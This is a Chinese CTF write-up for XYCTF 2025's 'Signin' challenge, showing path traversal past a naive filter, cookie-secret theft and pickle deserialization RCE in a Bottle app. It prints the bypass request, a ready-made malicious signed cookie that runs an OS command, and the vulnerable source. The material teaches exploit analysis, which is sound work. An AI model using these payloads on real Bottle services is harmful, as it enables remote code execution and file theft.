XYCTF_2025_Signin_(Bottle框架Pickle反序列化+路径穿越)
首先代码审计,这是一个利用 Bottle 写的 Web 框架。
/download 支持下载文件,作了路径穿越过滤
/secret 进行了 guest 和 admin 的认证,用了 session = request.get_cookie("name", secret=secret)
而源码里告诉了路径 ../../secret.txt
也就是说可以用 secret.txt 对 cookie 进行伪造
根据提示,有反序列化的过程,session 认后也没有其他可用功能,于是去看 bottle 如何解析cookie
看到他的 get_cookie
1 | def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256): |
dst = pickle.loads(base64.b64decode(msg))
存在一个明显的 pickle 反序列化漏洞
那么思路就清晰了
文件读取出 secret.txt,脚本伪造恶意 cookie,携带 cookie 访问 /secret 触发 bottle 反序列化进行 RCE,后面可以继续用 download 来读取文件
而路径穿越过滤 if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
可以用 ./.././../
绕过
1 | download?filename=./.././../secret.txt |
exp
1 | import pickle |
这个生成 cookie 的脚本逻辑主要是看原 bottle 框架里 set_cookie 里逻辑
1 | encoded = base64.b64encode(pickle.dumps([name, value], -1)) |
其中 touni 与 tob 函数都在源码里有
携带 Cookie:name=!SkyF7oSFKnYCTuloMmFAj4orPxbD114ygeUhFjtYCqc=?gAWVTgAAAAAAAABdlCiMBG5hbWWUjAhidWlsdGluc5SMBGV2YWyUk5SMJ19faW1wb3J0X18oJ29zJykuc3lzdGVtKCdscyAvID4gL2hhY2snKZSFlFKUZS4=
然后访问 /secret ,回显 error
再访问 download?filename=./.././../hack
得到 flag
源码 main.py
# -*- encoding: utf-8 -*-
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()
app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)